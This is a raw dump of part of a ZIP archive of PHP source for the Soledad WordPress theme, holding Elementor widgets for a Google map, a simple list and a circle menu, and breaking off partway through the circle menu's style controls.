						$map_url     = 'https://maps.google.com/maps?q=%1$s&amp;t=m&amp;z=%2$d&amp;output=embed&amp;iwloc=near&amp;maptype=%3$s';
						$map_url     = esc_url( vsprintf( $map_url, $params ) );
						$css_class   = 'penci-block-vc penci-lazy no-api';
						printf( '<div class="' . $mapclass . ' penci_admap_item penci_admap_' . $map_list . '"><iframe id="%s" class="%s" data-src="%s"></iframe></div>', $block_id, $css_class, $map_url );
					}
					?>
                </div>
				<?php if ( $settings['avd_google_map_show_list'] === 'yes' ): ?>
                    <div class="penci-gmap-lists-wrapper">
						<?php if ( $settings['gmap_geocode'] === 'yes' ): ?>
                            <div class="penci-gmap-search-wrapper">
                                <form class="penci-search penci-search-default">
                                    <div class="search-box">
                                        <input type="text"
                                               placeholder="<?php echo ! empty( $settings['search_placeholder_text'] ) ? esc_html( $settings['search_placeholder_text'] ) : 'Search Places'; ?>"
                                               class="penci-search-input"/>
                                    </div>
                                </form>
                            </div>
						<?php endif; ?>
                        <ul class="penci-gmap-lists">
							<?php
							foreach ( $settings['marker'] as $index => $marker_item ) {
								?>
                                <div class="penci-gmap-list-item" data-index="penci_admap_<?php echo $index; ?>">
                                    <div class="penci-gmap-list-content">
                                        <h5 class="penci-title"><?php echo esc_html__( $marker_item['marker_title'], 'soledad' ); ?></h5>
                                        <span class="penci-place"><?php echo esc_html__( $marker_item['marker_place'], 'soledad' ); ?></span>
										<?php if ( isset($marker_item['marker_phone']) && $marker_item['marker_phone'] ) : ?>
                                        <span class="penci-phone"><?php echo esc_html__( $marker_item['marker_phone'], 'soledad' ); ?></span>
										<?php endif; ?>
                                    </div>
                                </div>
								<?php
							};
							?>
                        </ul>
                    </div>
				<?php endif; ?>
            </div>
        </div>
		<?php
	}
}PK     N\&*K:    2  inc/elementor/modules/penci-simple-list/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciSimpleList;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-simple-list';
	}

	public function get_widgets() {
		return array( 'PenciSimpleList' );
	}
}
PK     N\qw02  02  E  inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciSimpleList\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

/**
 * Elementor widget that inserts an embeddable content into the page, from any given URL.
 *
 * @since 1.0.0
 */
class PenciSimpleList extends Base_Widget {
	/**
	 * Get widget name.
	 *
	 * @return string Widget name.
	 * @since  1.0.0
	 * @access public
	 *
	 */
	public function get_name() {
		return 'penci_simple_list';
	}

	/**
	 * Get widget title.
	 *
	 * @return string Widget title.
	 * @since  1.0.0
	 * @access public
	 *
	 */
	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Simple List', 'soledad' );
	}

	/**
	 * Get widget icon.
	 *
	 * @return string Widget icon.
	 * @since  1.0.0
	 * @access public
	 *
	 */
	public function get_icon() {
		return 'eicon-editor-list-ul';
	}

	/**
	 * Get widget categories.
	 *
	 * @return array Widget categories.
	 * @since  1.0.0
	 * @access public
	 *
	 */
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	/**
	 * Register the widget controls.
	 *
	 * @since  1.0.0
	 * @access protected
	 */
	protected function register_controls() {
		/**
		 * Content tab.
		 */

		/**
		 * General settings.
		 */
		$this->start_controls_section(
			'general_content_section',
			[
				'label' => esc_html__( 'General', 'soledad' ),
			]
		);
		
		$this->add_control(
			'align',
			[
				'label'   => esc_html__( 'Align', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => [
					'left'   => esc_attr__( 'Left', 'soledad' ),
					'right'  => esc_attr__( 'Right', 'soledad' ),
					'center' => esc_attr__( 'Center', 'soledad' ),
				],
				'default' => 'left',
			]
		);
		
		$this->add_control(
			'list_type',
			[
				'label'   => esc_html__( 'Type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => [
					'icon'      => esc_html__( 'With icon', 'soledad' ),
					'ordered'   => esc_html__( 'Ordered', 'soledad' ),
					'unordered' => esc_html__( 'Unordered', 'soledad' ),
					'without'   => esc_html__( 'Without icon', 'soledad' ),
				],
				'default' => 'icon',
			]
		);

		$this->add_control(
			'icon',
			[
				'label'     => esc_html__( 'Icon', 'soledad' ),
				'type'      => Controls_Manager::ICONS,
				'default'   => [
					'value'   => 'fas fa-star',
					'library' => 'fa-solid',
				],
				'condition' => [
					'list_type' => [ 'icon' ],
				],
			]
		);
		
		$this->add_control(
			'icon_pos',
			[
				'label'   => esc_html__( 'Icon Position', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => [
					'left'   => esc_attr__( 'Left', 'soledad' ),
					'right'  => esc_attr__( 'Right', 'soledad' ),
				],
				'default' => 'left',
				'condition' => [
					'list_type' => [ 'icon', 'unordered' ],
				],
			]
		);
		
		$this->add_responsive_control(
			'icon_space', array(
				'label'     => __( 'Icon Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, 'step' => 1 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-iconp-left li .list-icon, {{WRAPPER}} .penci-simplelist.penci-simplelist-type-unordered li:before' => 'margin-right: {{SIZE}}px;',
					'{{WRAPPER}} .penci-iconp-right li .list-icon, .penci-simplelist.penci-iconp-right.penci-simplelist-type-unordered li:before' => 'margin-left: {{SIZE}}px;',
				),
				'condition' => [
					'list_type' => [ 'icon', 'unordered' ],
				],
			)
		);
		
		$this->add_responsive_control(
			'spacing', array(
				'label'     => __( 'Spacing Between Items', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, 'step' => 1 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-simplelist li' => 'margin-bottom: {{SIZE}}px;',
				),
			)
		);
		
		$this->end_controls_section();
		
		$this->start_controls_section(
			'list_items_section',
			[
				'label' => esc_html__( 'List Items', 'soledad' ),
			]
		);

		$repeater = new Repeater();

		$repeater->add_control(
			'list_icon',
			[
				'label'   => esc_html__( 'Custom Icon', 'soledad' ),
				'type'    => Controls_Manager::ICONS,
			]
		);

		$repeater->add_control(
			'list_content',
			[
				'label'   => esc_html__( 'Content', 'soledad' ),
				'type'    => Controls_Manager::TEXTAREA,
				'default' => 'Far far away there live the blind live in Bookmarksgrove right.',
			]
		);

		$repeater->add_control(
			'link',
			[
				'label'       => esc_html__( 'Link', 'soledad' ),
				'description' => esc_html__( 'Enter URL if you want this text to have a link.', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'default'     => [
					'url'         => '',
					'is_external' => false,
					'nofollow'    => false,
				],
			]
		);

		$this->add_control(
			'list_items',
			[
				'type'        => Controls_Manager::REPEATER,
				'title_field' => '{{{ list_content }}}',
				'fields'      => $repeater->get_controls(),
				'default'     => [
					[
						'list_content' => 'Cottage cheese the big cheese hard cheese',
					],
					[
						'list_content' => 'Croque monsieur when the cheese comes out everybody.',
					],
					[
						'list_content' => 'Cut the cheese.',
					],
				],
			]
		);

		$this->end_controls_section();

		/**
		 * General settings.
		 */
		$this->start_controls_section(
			'general_style_section',
			[
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'text_typo',
				'label'    => __( 'List Typography', 'soledad' ),
				'selector' => '.post-entry {{WRAPPER}} li',
			)
		);

		$this->add_control(
			'text_color',
			[
				'label'     => esc_html__( 'Text color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} li' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'text_color_hover',
			[
				'label'     => esc_html__( 'Text color hover', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} li:hover' => 'color: {{VALUE}}',
				],
			]
		);

		$this->end_controls_section();

		/**
		 * Icon settings.
		 */
		$this->start_controls_section(
			'icon_style_section',
			[
				'label'     => esc_html__( 'Icon', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'list_type!' => [ 'without' ],
				],
			]
		);

		$this->add_control(
			'list_style',
			[
				'label'     => esc_html__( 'Style', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => [
					'default' => esc_html__( 'Default', 'soledad' ),
					'rounded' => esc_html__( 'Circle', 'soledad' ),
					'square'  => esc_html__( 'Square', 'soledad' ),
				],
				'default'   => 'default',
				'condition' => [
					'list_type' => [ 'icon' ],
				],
			]
		);

		$this->add_control(
			'icons_color',
			[
				'label'     => esc_html__( 'Icons color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '#2C2C2C',
				'selectors' => [
					'{{WRAPPER}} .list-icon' => 'color: {{VALUE}}',
					'{{WRAPPER}} .list-icon svg' => 'fill: {{VALUE}}',
					'{{WRAPPER}} .penci-simplelist.penci-simplelist-type-unordered li:before' => 'color: {{VALUE}}',
				],
				'condition' => [
					'list_type' => [ 'icon', 'ordered', 'unordered' ],
				],
			]
		);

		$this->add_control(
			'icons_color_hover',
			[
				'label'     => esc_html__( 'Icons color hover', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} li:hover .list-icon' => 'color: {{VALUE}}',
					'{{WRAPPER}} li:hover .list-icon svg' => 'fill: {{VALUE}}',
					'{{WRAPPER}} .penci-simplelist.penci-simplelist-type-unordered li:hover:before' => 'color: {{VALUE}}',
				],
				'condition' => [
					'list_type' => [ 'icon', 'ordered', 'unordered' ],
				],
			]
		);

		$this->add_control(
			'icons_bg_color',
			[
				'label'     => esc_html__( 'Icons background color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '#EAEAEA',
				'selectors' => [
					'body:not(.pcdm-enable) {{WRAPPER}} .list-icon' => 'background-color: {{VALUE}}',
				],
				'condition' => [
					'list_style' => [ 'rounded', 'square' ],
				],
			]
		);

		$this->add_control(
			'icons_bg_color_hover',
			[
				'label'     => esc_html__( 'Icons background color hover', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'body:not(.pcdm-enable) {{WRAPPER}} li:hover .list-icon' => 'background-color: {{VALUE}}',
				],
				'condition' => [
					'list_style' => [ 'rounded', 'square' ],
				],
			]
		);

		$this->add_responsive_control(
			'icon_size',
			[
				'label'     => esc_html__( 'Icon size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min'  => 1,
						'max'  => 100,
						'step' => 1,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-simplelist .list-icon' => 'font-size: {{SIZE}}{{UNIT}};line-height: {{SIZE}}{{UNIT}};',
					'{{WRAPPER}} .penci-simplelist .list-icon.svg,{{WRAPPER}} .penci-simplelist .list-icon svg' => 'width: {{SIZE}}{{UNIT}};height: {{SIZE}}{{UNIT}};',
					'{{WRAPPER}} .penci-simplelist.penci-simplelist-type-unordered li:before' => 'font-size: {{SIZE}}{{UNIT}};',
				],
				'condition' => [
					'list_type!' => [ 'without' ],
				],
			]
		);

		$this->end_controls_section();
	}

	/**
	 * Render the widget output on the frontend.
	 *
	 * Written in PHP and used to generate the final HTML.
	 *
	 * @since  1.0.0
	 *
	 * @access protected
	 */
	protected function render() {
		$default_settings = [
			'icon'  => '',
			'image' => '',

			'size'  => 'default',
			'align' => 'left',

			'list'       => '',
			'list_type'  => 'icon',
			'list_style' => 'default',
			'list_items' => '',
		];

		$settings    = wp_parse_args( $this->get_settings_for_display(), $default_settings );
		$icon_output = '';

		if ( ! $settings['list_items'] ) {
			return;
		}

		$this->add_render_attribute(
			[
				'list' => [
					'class' => [
						'penci-simplelist',
						'size-' . $settings['size'],
						'penci-simplelist-type-' . $settings['list_type'],
						'penci-simplelist-style-' . $settings['list_style'],
						'penci-justify-' . $settings['align'],
						'penci-iconp-' . $settings['icon_pos'],
					],
				],
			]
		);

		if ( 'rounded' === $settings['list_style'] || 'square' === $settings['list_style'] ) {
			$this->add_render_attribute( 'list', 'class', 'penci-simplelist-shape-icon' );
		}

		if ( 'icon' === $settings['list_type'] && isset($settings['icon']['value']) && $settings['icon']['value'] ) {
			$icon_output = penci_elementor_get_render_icon( $settings['icon'] );
		}
		?>
        <ul <?php echo $this->get_render_attribute_string( 'list' ); ?>>
			<?php foreach ( $settings['list_items'] as $index => $item ) : ?>
				<?php
				$repeater_label_key = $this->get_repeater_setting_key( 'list_content', 'list_items', $index );
				$this->add_render_attribute(
					[
						$repeater_label_key => [
							'class' => [
								'list-content',
							],
						],
					]
				);

				$this->add_inline_editing_attributes( $repeater_label_key );

				// Link settings.
				$item['link']['class'] = 'penci-fill';
				$link_attrs            = penci_el_get_link_attrs( $item['link'] );
				$open_link = $close_link = '';
				if ( !empty($item['link']) ) :
					$open_link = '<a ' . $link_attrs . '>';
					$close_link = '</a>';
				endif;
				?>
                <li class="elementor-repeater-item-<?php echo esc_attr( $item['_id'] ); ?>">
					<?php if ( 'icon' == $settings['list_type'] ) :
						$icon_class = isset( $item['list_icon']['library'] ) && $item['list_icon']['library'] ? $item['list_icon']['library'] : 'normal';
						?>
                        <span class="list-icon <?php echo $icon_class;?>">
							<?php
							if ( isset( $item['list_icon']['value'] ) && $item['list_icon']['value'] ) {
								echo penci_elementor_get_render_icon( $item['list_icon'] );
							} else {
								echo $icon_output;
							}
							?>
						</span>
					<?php endif ?>
					<?php echo $open_link; ?>
                    <span <?php echo $this->get_render_attribute_string( $repeater_label_key ); ?>>
						<?php echo $item['list_content']; ?>
					</span>
					<?php echo $close_link; ?>
                </li>
			<?php endforeach ?>
        </ul>

		<?php
	}
}
PK     N\X  X  2  inc/elementor/modules/penci-circle-menu/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciCircleMenu;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly

class Module extends Module_Base {

	public function get_name() {
		return 'penci-circle-menu';
	}

	public function get_widgets() {

		return ['PenciCircleMenu'];
	}
}
PK     N\`o߄  ߄  E  inc/elementor/modules/penci-circle-menu/widgets/penci-circle-menu.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciCircleMenu\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Border;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Typography;
use Elementor\Icons_Manager;
use Elementor\Repeater;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

// Exit if accessed directly

class PenciCircleMenu extends Base_Widget {
	public function get_name() {
		return 'penci-circle-menu';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Circle Menu', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-plus-circle-o';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'circle', 'menu', 'rounded' ];
	}

	public function get_style_depends() {
		return [ 'penci-circle-menu' ];
	}

	public function get_script_depends() {
		return [ 'penci-circle-menu' ];
	}

	protected function register_controls() {

		$this->start_controls_section(
			'section_content_iconnav',
			[
				'label' => esc_html__( 'Circle Menu', 'soledad' ),
			]
		);

		$this->add_control(
			'toggle_icon',
			[
				'label'       => esc_html__( 'Choose Toggle Icon', 'soledad' ),
				'type'        => Controls_Manager::CHOOSE,
				'label_block' => true,
				'options'     => [
					'plus'        => [
						'title' => esc_html__( 'Plus', 'soledad' ),
						'icon'  => 'fas fa-plus',
					],
					'plus-circle' => [
						'title' => esc_html__( 'Plus Circle', 'soledad' ),
						'icon'  => 'fas fa-plus-circle',
					],
					'close'       => [
						'title' => esc_html__( 'Close', 'soledad' ),
						'icon'  => 'fas fa-times',
					],
					'cog'         => [
						'title' => esc_html__( 'Settings', 'soledad' ),
						'icon'  => 'fas fa-cog',
					],
					'menu'        => [
						'title' => esc_html__( 'Bars', 'soledad' ),
						'icon'  => 'fas fa-bars',
					],
					'custom'      => [
						'title' => esc_html__( 'Custom', 'soledad' ),
						'icon'  => 'fas fa-edit',
					],
				],
				'default'     => 'plus',
			]
		);

		$this->add_control(
			'custom_icon',
			[
				'label'       => esc_html__( 'Custom Icon', 'soledad' ),
				'type'        => Controls_Manager::ICONS,
				'default'     => [
					'value'   => 'far fa-times-circle',
					'library' => 'fa-regular',
				],
				'condition'   => [
					'toggle_icon' => 'custom',
				],
				'label_block' => false,
				'skin'        => 'inline',
			]
		);

		$repeater = new Repeater();

		$repeater->add_control(
			'title',
			[
				'label'   => esc_html__( 'Menu Title', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'dynamic' => [ 'active' => true ],
				'default' => 'Home',
			]
		);

		$repeater->add_control(
			'circle_menu_icon',
			[
				'label'            => esc_html__( 'Icon', 'soledad' ),
				'type'             => Controls_Manager::ICONS,
				'fa4compatibility' => 'icon',
				'default'          => [
					'value'   => 'fas fa-home',
					'library' => 'fa-solid',
				],
				'label_block'      => false,
				'skin'             => 'inline',
			]
		);

		$repeater->add_control(
			'iconnav_link',
			[
				'label'       => esc_html__( 'Link', 'soledad' ),
				'type'        => Controls_Manager::URL,
				'default'     => [ 'url' => '#' ],
				'dynamic'     => [ 'active' => true ],
				'description' => 'Add your section id WITH the # key. e.g: #my-id also you can add internal/external URL',
			]
		);

		$repeater->add_control(
			'custom_style_popover',
			[
				'label'        => esc_html__( 'Custom Style', 'soledad' ),
				'type'         => Controls_Manager::POPOVER_TOGGLE,
				'render_type'  => 'ui',
				'return_value' => 'yes',
			]
		);

		$repeater->start_popover();

		$repeater->add_control(
			'icon_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu {{CURRENT_ITEM}}.penci-cmenui a'     => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-circle-menu {{CURRENT_ITEM}}.penci-cmenui a svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$repeater->add_control(
			'icon_hover_color',
			[
				'label'     => esc_html__( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu {{CURRENT_ITEM}}.penci-cmenui:hover a'     => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-circle-menu {{CURRENT_ITEM}}.penci-cmenui:hover a svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$repeater->add_control(
			'icon_background_color',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu {{CURRENT_ITEM}}.penci-cmenui' => 'background: {{VALUE}};',
				],
			]
		);

		$repeater->add_control(
			'icon_hover_background_color',
			[
				'label'     => esc_html__( 'Hover Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu {{CURRENT_ITEM}}.penci-cmenui:hover' => 'background: {{VALUE}};',
				],
			]
		);

		$repeater->end_popover();

		$this->add_control(
			'circle_menu',
			[
				'label'       => esc_html__( 'Circle Menu Items', 'soledad' ),
				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'separator'   => 'before',
				'default'     => [
					[
						'circle_menu_icon' => [ 'value' => 'fas fa-home', 'library' => 'fa-solid' ],
						'iconnav_link'     => [
							'url' => '#',
						],
						'title'            => esc_html__( 'Home', 'soledad' ),
					],
					[
						'circle_menu_icon' => [ 'value' => 'fas fa-shopping-bag', 'library' => 'fa-solid' ],
						'iconnav_link'     => [
							'url' => '#',
						],
						'title'            => esc_html__( 'Products', 'soledad' ),
					],
					[
						'circle_menu_icon' => [ 'value' => 'fas fa-wrench', 'library' => 'fa-solid' ],
						'iconnav_link'     => [
							'url' => '#',
						],
						'title'            => esc_html__( 'Settings', 'soledad' ),
					],
					[
						'circle_menu_icon' => [ 'value' => 'fas fa-book', 'library' => 'fa-solid' ],
						'iconnav_link'     => [
							'url' => '#',
						],
						'title'            => esc_html__( 'Documentation', 'soledad' ),
					],
					[
						'circle_menu_icon' => [ 'value' => 'fas fa-envelope', 'library' => 'fa-solid' ],
						'iconnav_link'     => [
							'url' => '#',
						],
						'title'            => esc_html__( 'Contact Us', 'soledad' ),
					],
				],
				'title_field' => '{{{ title }}}',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_content_layout',
			[
				'label' => esc_html__( 'General Settings', 'soledad' ),
			]
		);

		$this->add_control(
			'toggle_icon_position',
			[
				'label'   => esc_html__( 'Toggle Icon Position', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => '',
				'options' => [ 
					''              => esc_html__( 'Default', 'soledad' ),
					'top-left'      => esc_html__( 'Top Left', 'soledad' ),
					'top-center'    => esc_html__( 'Top Center', 'soledad' ),
					'top-right'     => esc_html__( 'Top Right', 'soledad' ),
					'center'        => esc_html__( 'Center', 'soledad' ),
					'center-left'   => esc_html__( 'Center Left', 'soledad' ),
					'center-right'  => esc_html__( 'Center Right', 'soledad' ),
					'bottom-left'   => esc_html__( 'Bottom Left', 'soledad' ),
					'bottom-center' => esc_html__( 'Bottom Center', 'soledad' ),
					'bottom-right'  => esc_html__( 'Bottom Right', 'soledad' ),
				],
			]
		);

		$this->add_control(
			'toggle_icon_alignment',
			[
				'label'     => esc_html__( 'Alignment', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'options'   => [
					'flex-start' => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					],
					'center'     => [
						'title' => esc_html__( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					],
					'flex-end'   => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					],
				],
				'selectors' => [
					'{{WRAPPER}}.elementor-widget-penci-circle-menu' => 'justify-content: {{VALUE}}; display: flex;',
				],
				'condition' => [
					'toggle_icon_position' => '',
				],
			]
		);

		$this->add_responsive_control(
			'toggle_icon_x_position',
			[
				'label'     => esc_html__( 'Horizontal Offset', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => 0,
				],
				'range'     => [
					'px' => [
						'min'  => - 500,
						'step' => 10,
						'max'  => 500,
					],
				],
				'selectors' => [
					'{{WRAPPER}}' => '--ep-circle-menu-h-offset: {{SIZE}}px;',
				],
			]
		);

		$this->add_responsive_control(
			'toggle_icon_y_position',
			[
				'label'     => esc_html__( 'Vertical Offset', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => 0,
				],
				'range'     => [
					'px' => [
						'min'  => - 500,
						'step' => 10,
						'max'  => 500,
					],
				],
				'selectors' => [
					'{{WRAPPER}}' => '--ep-circle-menu-v-offset: {{SIZE}}px;',
				],
			]
		);

		$this->add_control(
			'trigger',
			[
				'label'     => esc_html__( 'Trigger', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'hover',
				'options'   => [
					'hover' => esc_html__( 'Hover', 'soledad' ),
					'click' => esc_html__( 'Click', 'soledad' ),
				],
				'separator' => 'before',
			]
		);

		$this->add_control(
			'tooltip_on_trigger',
			[
				'label'   => esc_html__( 'Show Tooltip', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_content_additional_settings',
			[
				'label' => esc_html__( 'Circle Menu Settings', 'soledad' ),
			]
		);

		$this->add_control(
			'direction',
			[
				'label'   => esc_html__( 'Menu Direction', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'bottom-right',
				'options' => [
					'top'          => esc_html__( 'Top', 'soledad' ),
					'right'        => esc_html__( 'Right', 'soledad' ),
					'bottom'       => esc_html__( 'Bottom', 'soledad' ),
					'left'         => esc_html__( 'Left', 'soledad' ),
					'full'         => esc_html__( 'Full', 'soledad' ),
					'top-left'     => esc_html__( 'Top-Left', 'soledad' ),
					'top-right'    => esc_html__( 'Top-Right', 'soledad' ),
					'top-half'     => esc_html__( 'Top-Half', 'soledad' ),
					'bottom-left'  => esc_html__( 'Bottom-Left', 'soledad' ),
					'bottom-right' => esc_html__( 'Bottom-Right', 'soledad' ),
					'bottom-half'  => esc_html__( 'Bottom-Half', 'soledad' ),
					'left-half'    => esc_html__( 'Left-Half', 'soledad' ),
					'right-half'   => esc_html__( 'Right-Half', 'soledad' ),
				],
			]
		);

		$this->add_control(
			'item_diameter',
			[
				'label'   => esc_html__( 'Circle Menu Size', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'default' => [
					'size' => 35,
				],
				'range'   => [
					'px' => [
						'min'  => 20,
						'step' => 1,
						'max'  => 50,
					],
				],
			]
		);

		$this->add_control(
			'circle_radius',
			[
				'label'   => esc_html__( 'Circle Menu Distance', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'default' => [
					'size' => 100,
				],
				'range'   => [
					'px' => [
						'min'  => 20,
						'step' => 5,
						'max'  => 500,
					],
				],
			]
		);

		$this->add_control(
			'speed',
			[
				'label'   => esc_html__( 'Speed', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'default' => [
					'size' => 500,
				],
				'range'   => [
					'px' => [
						'min'  => 100,
						'step' => 10,
						'max'  => 1000,
					],
				],
			]
		);

		$this->add_control(
			'delay',
			[
				'label'   => esc_html__( 'Delay', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'default' => [
					'size' => 1000,
				],
				'range'   => [
					'px' => [
						'min'  => 100,
						'step' => 10,
						'max'  => 2000,
					],
				],
			]
		);

		$this->add_control(
			'step_out',
			[
				'label'   => esc_html__( 'Step Out', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'default' => [
					'size' => 20,
				],
				'range'   => [
					'px' => [
						'min'  => - 200,
						'step' => 5,
						'max'  => 200,
					],
				],
			]
		);

		$this->add_control(
			'step_in',
			[
				'label'   => esc_html__( 'Step In', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'default' => [
					'size' => - 20,
				],
				'range'   => [
					'px' => [
						'min'  => - 200,
						'step' => 5,
						'max'  => 200,
					],
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_tooltip_settings',
			[
				'label'     => esc_html__( 'Tooltip Settings', 'soledad' ),
				'condition' => [
					'tooltip_on_trigger' => 'yes',
				],
			]
		);

		$this->add_control(
			'tooltip_text',
			[
				'label'       => esc_html__( 'Tooltip Text', 'soledad' ),
				'label_block' => true,
				'type'        => Controls_Manager::TEXT,
				'default'     => esc_html__( 'Click me to show menus', 'soledad' ),
			]
		);

		$this->add_control(
			'tooltip_animation',
			[
				'label'   => esc_html__( 'Animation', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'shift-toward',
				'options' => [
					'shift-away'   => esc_html__( 'Shift-Away', 'soledad' ),
					'shift-toward' => esc_html__( 'Shift-Toward', 'soledad' ),
					'fade'         => esc_html__( 'Fade', 'soledad' ),
					'scale'        => esc_html__( 'Scale', 'soledad' ),
					'perspective'  => esc_html__( 'Perspective', 'soledad' ),
				],
			]
		);

		$this->add_control(
			'tooltip_x_offset',
			[
				'label'   => esc_html__( 'X Offset', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'default' => [
					'size' => 0,
				],
			]
		);

		$this->add_control(
			'tooltip_y_offset',
			[
				'label'   => esc_html__( 'Y Offset', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'default' => [
					'size' => 0,
				],
			]
		);

		$this->add_control(
			'tooltip_arrow',
			[
				'label' => esc_html__( 'Arrow', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'tooltip_trigger',
			[
				'label'       => esc_html__( 'Trigger on Click', 'soledad' ),
				'description' => esc_html__( 'Don\'t set yes when you set lightbox image with marker.', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
			]
		);

		$this->end_controls_section();

		//Style
		$this->start_controls_section(
			'section_style_toggle_icon',
			[
				'label' => esc_html__( 'Toggle Icon', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->start_controls_tabs( 'tabs_toggle_icon_style' );

		$this->start_controls_tab(
			'tab_toggle_icon_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'toggle_icon_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenuti'     => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenuti svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'toggle_icon_background',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-circle-menu li.penci-cmenuti' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'toggle_icon_border',
				'label'       => esc_html__( 'Border', 'soledad' ),
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-circle-menu li.penci-cmenuti',
			]
		);

		$this->add_responsive_control(
